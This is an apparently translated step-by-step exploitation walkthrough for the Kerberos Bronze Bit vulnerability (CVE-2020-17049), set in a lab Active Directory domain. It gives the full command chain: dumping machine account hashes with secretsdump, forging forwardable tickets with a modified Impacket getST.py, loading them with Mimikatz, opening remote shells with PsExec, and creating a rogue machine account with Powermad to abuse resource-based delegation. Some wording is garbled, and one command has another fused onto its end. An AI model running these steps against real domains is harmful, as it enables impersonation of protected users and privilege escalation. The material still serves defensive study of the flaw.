CVE-2020-17049: Kerberos Bronze Bit Attack

Preface

This article mainly explains how to actually exploit the Kerberos Bronze Bit vulnerability (CVE-2020-17049). Before reading this article, I strongly recommend that you first read the article “Bronze Bit Attack Theory” to understand the root cause and effect of this attack.

It is worth noting that Microsoft released a patch for this vulnerability on November 10, 2020. The release of this patch will continue until February 9, 2021. In the following attack scenario, it is assumed that the attacker is in the environment of a domain controller that has not been patched.

The Bronze Bit vulnerability attack is an extension of other known attacks caused by Kerberos delegation. Earlier, Elad Shamir and Will Schroeder had published articles explaining these attack methods and conditions of use. The exploit of Bronze Bit is two potential mitigation measures that bypass the existing original path, thereby improving the effectiveness and functionality of the exploit. The attacker can now perform the following actions:

1. can impersonate users who are not allowed to delegate. This includes members of the Protected Users group and any other users who are explicitly configured as “sensitive and cannot be delegated.”

2. can launch attacks from services that are not allowed to perform authentication protocol conversion. This means that if the configured service does not have the TrustedToAuthForDelegation attribute (it appears in the AD GUI as “Trust this user to delegate only the specified service-only use Kerberos”), the attacker can use the vulnerability to obtain a ticket, and the effect is equivalent to When the TrustedToAuthForDelegation attribute is set (it appears in the AD GUI as “Trust this user to delegate only the specified service-use any authentication protocol”).

general attack path

The general attack path of this vulnerability is as follows:

1. The attacker finds a foothold in the AD environment;

2. The attacker obtains the password hash of the service in the environment. We call this service Service1. can obtain the necessary hashes in a variety of ways, such as DC Sync attacks, Kerberoasting, and even use SPN to create new computer accounts through Powermad.

3. Service1 has a constrained delegation trust relationship with another service. We will call it Service2. The trust relationship can be one of the following:

(1) Service1 is configured to perform constrained delegation to Service2. In other words, Service2 is in the AllowedToDelegateTo list of Service1.

(2) Service2 is configured to accept resource-based constrained delegation from Service1. In other words, Service1 is in the PrincipalsAllowedToDelegateToAccount list of Service2.

i. If the attacker has write permissions (GenericAll, GenericWrite, WriteOwner, etc.) to the Service2 object in AD, the attacker can add Service1 to the PrincipalsAllowedToDelegateToAccount list of Service2. This eliminates the need for the domain administrator privileges described by Elad Shamir and Will Schroeder.

4. The attacker used the vulnerability to impersonate Service1 and obtained a Kerberos service ticket as the target user of Service2.

5. The attacker impersonates the target user and provides a service ticket to Service2. The attacker has now authenticated to Service2 as the target user and can interact with Service2 under the authority of the target user.

exploit

The Bronze Bit exploit we use is an extension of the Impacket framework developed by the outstanding researchers of SecureAuth. A merge request has been submitted and it is expected to be used as one of the new exploit features. There are many excellent functions built into Impacket, but we are more interested in the getST.py program. Let’s not look at the exploits, and review the previous steps. In step 4, we enter the attack path. Assuming that we have obtained the hash value of Service1, the delegation trust relationship between Service1 and Service2 is restricted, and we need to try to access Service2 as the target user.

You can use the getST.py program to perform S4U and obtain a service ticket for the specified service as the specified user. If Service1 is allowed to perform protocol conversion (that is, use TrustedToAuthForDelegation for configuration), and no delegation protection is performed, the execution process is similar to the following:

clip_image001

Using the final service ticket, the attacker can simulate the target user and successfully interact with Service2. However, if Service1 is not allowed to perform protocol conversion or delegated protection, the intermediate service ticket obtained in the S4U2self will not be forwardable, and the S4U2proxy request will fail.

clip_image002

-force-forwardable flag

The Bronze Bit exploit has been implemented as an extension of the getST.py program. I added a new -force-forwardable flag, which can be passed as a command line parameter. If the -force-forwardable flag is present, the exploit is executed after the S4U2self exchange. The service ticket returned by KDC in the S4U2self exchange will use the long-term key of Service1, and its forwardable flag will be set to 1, and then re-encrypted. The changed ticket will be attached to the S4U2proxy exchange, and the KDC will return the service ticket to Service2 as the target user.

clip_image003

After bypassing the restriction and preparing the service ticket, the attacker can simulate the target user and interact with Service2 (step 5 in the attack path).

Actual Attack #1

Let’s take a look at how to perform an actual attack. Here, we will see how the exploit allows us to bypass the “Trust this user to delegate only the specified service-only use Kerberos” protection and impersonate the delegated user. We first need to set up some initial environments.

Environment configuration

Our test domain (test.local) contains 3 servers running Windows Server 2019, and no patch for this vulnerability has been installed. We will select User1 on the Service1 server as a foothold to launch the attack. Our target is User2, who has administrative access to the Service2 server. In this process, it will interact with the domain controller (DC) of all Kerberos tickets.

On the DC, configure Service1 so that it can perform constrained delegation without the need for protocol conversion to Service2. In this way, you can ensure that the conditions of the third step of the attack path are met. If this configuration is set in the AD GUI, it is similar to the following figure:

clip_image004

On the DC, also update the User2 user to prevent it from being delegated. You can use the “sensitive and cannot be delegated” attribute to configure the account, or you can use the account as a member of the Protected Users group, you can choose one of them.

Use the “sensitive and cannot be delegated” attribute to configure the User2 account:

clip_image005

Add User2 to the Protected Users group:

clip_image006

Execution attack

Log out of the domain controller and log in to the Service1 server as User1. This will simulate the process of gaining a foothold in the environment (step 1 in the attack path). Start a PowerShell session and confirm that User1 and Service1 cannot currently access Service2 under their own authorization.

command:

whoami

ls \\service2.test.local\c$

.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe

carried out:

clip_image007

We have confirmed that User1 cannot directly access Service2. Next, continue to the second step of the attack path-get the hash value of Service1. In this case, we will use Impacket’s secretsdump.py program to obtain the AES256-CTS-HMAC-SHA1-96 and LM:NTLM hash of the Service1 machine account.

command:

python .\impacket\examples\secretsdump.py ‘test/user1:@Service1.test.local’

carried out:

clip_image008

After obtaining the necessary hash, we first try to execute the getST.py program without the -force-forwardable flag. Unsurprisingly, this process will fail. As mentioned earlier, the S4U2self exchange still returns the service ticket to User2’s Service1, but due to the delegation restriction of the service and the user’s delegation protection, the Forwardable flag of the ticket is not set. When the ticket is provided in the S4U2proxy exchange, an error occurs.

command:

.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes  -aesKey  test.local/Service1

carried out:

clip_image009

Next, it is the moment everyone is looking forward to, let’s run the exploit program. What is going on is the fourth step of the attack path. We will repeat the previous command, but this time add the -force-forwardable command line parameter.

command:

.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes  -aesKey  test.local/Service1 -force-forwardable

carried out:

clip_image010

Now is an exciting time, we can focus on the following lines of output:

Service ticket from S4U2self flags: 00000000101000010000000000000000

Service ticket from S4U2self is not forwardable

Forcing the service ticket to be forwardable

Service ticket flags after modification: 01000000101000010000000000000000

Service ticket from S4U2self now is forwardable

Once the -force-forwardable flag is included, the exploit will be executed automatically and the service ticket received from the S4U2self exchange will be converted into a forwardable ticket. This process uses the hash value of Service1 to decrypt the ticket, changes the second bit of the flag value from 0 to 1, and re-encrypts the ticket. This transferable receipt certificate will be sent in the S4U2proxy exchange, and will be returned as the Service2 service ticket of User2 and written to the disk of User2.ccache.

Next, we use Mimikatz to load the service ticket into the ticket cache for subsequent use. After loading, we see Mimikatz confirming that this is a valid ticket for the cifs service from User2 to Service2.

command:

.\mimikatz\mimikatz.exe “kerberos::ptc User2.ccache” exit

carried out:

clip_image011

After adding the service ticket to the cache, we can now access Service2 like User2. We have all permissions of User2 on Service2. Here will use Mark Russinovich’s PSExec to get a PowerShell session on the Service2 server and run some commands. This is the fifth step of our attack path.

command:

ls \\service2.test.local\c$

.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe

whoami

hostname

carried out:

clip_image012

We finally achieved our goal. So far, we have changed one of them and abused Kerberos delegation to achieve privilege escalation by imitating protected users, and can further attack other services.

actual attack #2

Next, let’s explore another attack path with different initial conditions. Here, we use the write permission of the Service2 object in AD to achieve the final attack target.

Environment configuration

We continue to use the environment used in the previous actual attack, and only need to modify it slightly. The target User2 account can retain its configuration as a member of Protected Users, or use the “sensitive and non-delegable” attribute to maintain its configuration.

First, delete the delegated authority of Service1. Connect to the DC and use “Do not trust this computer for delegation” to configure Service1.

clip_image013

Edit the Service2 computer object and grant write permission to User1. Here, in addition to directly granting permissions, users usually get write permissions to one or more AD objects due to the identity of the privileged group. The user here is not necessarily a domain administrator.

clip_image014

Perform an attack

Log out of the domain controller and log in to the Service1 server as User1, which simulates our foothold in the environment. If you are using the environment of the last actual attack, you need to confirm whether the local Kerberos ticket cache has been cleared. The most effective way to clear the cache is to restart Service1.

Unlike the previous example, any delegation trust relationship between Service1 and Service2 will not be used in this attack. After the Service1 is configured to “do not trust this computer for delegation”, the original trust relationship will no longer exist. We need to establish a new delegation relationship with Service2, which is a brand new service.

To create a new service in the environment, we used Kevin Robertson’s Powermad to create a new hosting account. There is no need to elevate privileges this time, and any user in the domain can use it by default. We named the hosting account AttackerService and set an arbitrary password AttackerServicePassword.

command:

Import-Module .\Powermad\powermad.ps1

New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString ‘AttackerServicePassword’ -AsPlainText -Force)

carried out:

clip_image015

Since we selected the password for the new hosting account, we can easily calculate the corresponding password hash using Mimikatz. In this way, step 2 of the attack path is completed.

command:

.\mimikatz\mimikatz.exe “kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local” exit

carried out:

clip_image016

Next, use the PowerShell Active Directory module to check the newly created hosting account. Since this module is currently unavailable, we need to install the corresponding function, import the module, and then check the newly created computer account.

command:

Install-WindowsFeature RSAT-AD-PowerShell

Import-Module ActiveDirectory

Get-ADComputer AttackerService

carried out:

clip_image017

After confirming that the hosting account is lagging, we can establish a constrained delegation trust relationship between Service2 and AttackerService. Since User1 (the foothold account controlled by us) has write access to Service2, we can add AttackerService to the PrincipalsAllowedToDelegateToAccount list of Service2. In this way, resource-based constrained delegation will be established on Service2, and constrained delegation will be accepted from AttackerService. After completing this step, we have met the conditions of the third step of the attack path.

command:

Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$

Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

carried out:

clip_image018

Proceed to step 4 of the attack path and execute the exploit. We will use the same command as the previous example, but this time specify AttackerService instead of Service1, and then use Mimikatz to calculate the hash value. When you include the -force-forwardable flag in the command, you will see the same result as the previous example. Execute the exploit, set the forwardable flag, and write the Service2 service ticket as User2 to the disk of User.ccache.

command:

python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$

carried out:

clip_image019

Now, we can simply repeat the last command in the previous example. By using Mimikatz to load the service ticket into the local Kerberos ticket cache, the fifth step of the attack path is realized. Then, we perform step 5 by interacting with Service2 (simulating User2).

command:

.\mimikatz\mimikatz.exe “kerberos::ptc User2.ccache” exit | Out-Null

ls \\service2.test.local\c$

.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe

whoami

hostname

carried out:

clip_image020

At this point, we have successfully completed this service by using the write access to the Service2 AD object as a foothold.